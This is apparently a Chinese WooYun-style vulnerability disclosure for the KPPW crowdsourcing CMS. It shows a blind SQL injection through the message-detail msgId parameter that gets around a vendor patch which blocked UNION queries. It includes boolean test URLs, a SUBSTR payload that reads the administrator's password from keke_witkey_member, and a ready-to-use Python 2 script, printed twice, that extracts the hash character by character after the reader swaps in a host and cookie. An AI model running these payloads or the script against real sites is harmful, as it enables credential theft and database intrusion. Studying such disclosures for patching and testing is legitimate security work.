KPPW开源威客系统 绕过防护盲注
1. WooYun: kppw一处sql注入 厂商对这个漏洞进行了修复。替换了union 不能进行联合了 但是可以进行盲注。 同一个类型,多点。不过问题都出在消息这。 2. 注册两个帐号,然后其中一个对另外那个发送3个消息。
3. 打开中间那条 url如下 http://192.168.1.101/KPPW/index.php?do=user&view=message&op=detail&type=private&intPage=1&msgId=16 然后尝试注入
下面我们可以看到 上一条 和 下一条 。 注入测试 http://192.168.1.101/KPPW/index.php?do=user&view=message&op=detail&type=private&intPage=1&msgId=16 and 1=1--
存在。 http://192.168.1.101/KPPW/index.php?do=user&view=message&op=detail&type=private&intPage=1&msgId=16 and 1=2--
消失了。
3.
主要利用url
http://192.168.1.101/KPPW/index.php?do=user&view=message&op=detail&type=private&intPage=1&msgId=16 and (select CHAR(48))=SUBSTR((SELECT password
from keke_witkey_member WHERE uid =1),1,1)--
下面 写了一个小工具 替换下host url cookies就可以用了。
```
import httplib def get(i1,i2): page="" rHtml=httplib.HTTPConnection("192.168.1.101",80,False) url="/KPPW/index.php?do=user&view=message&op=detail&type=notice&intPage=1&msgId=13%20and%20%28select%20CHAR%28"+i1+"%29%29=SUBSTR%28%28SELECT%20%60password%60%20from%20keke_witkey_member%20WHERE%20uid%20=1%29,"+i2+",1%29--" #print url rHtml.request("GET",url,headers={"User-Agent":"Firefox/22.0","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate","Cookie":"PHPSESSID=x","Connection":"keep-alive"}) page=rHtml.getresponse(False) return page.read().count('一条') mm=[] for i in range(1,33): for ii in range(48,123): if(get(str(ii),str(i))!=0): mm.append(chr(ii)) print "".join(mm) break ```
```
import httplib def get(i1,i2): page="" rHtml=httplib.HTTPConnection("192.168.1.101",80,False) url="/KPPW/index.php?do=user&view=message&op=detail&type=notice&intPage=1&msgId=13%20and%20%28select%20CHAR%28"+i1+"%29%29=SUBSTR%28%28SELECT%20%60password%60%20from%20keke_witkey_member%20WHERE%20uid%20=1%29,"+i2+",1%29--" #print url rHtml.request("GET",url,headers={"User-Agent":"Firefox/22.0","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate","Cookie":"PHPSESSID=x","Connection":"keep-alive"}) page=rHtml.getresponse(False) return page.read().count('一条') mm=[] for i in range(1,33): for ii in range(48,123): if(get(str(ii),str(i))!=0): mm.append(chr(ii)) print "".join(mm) break ```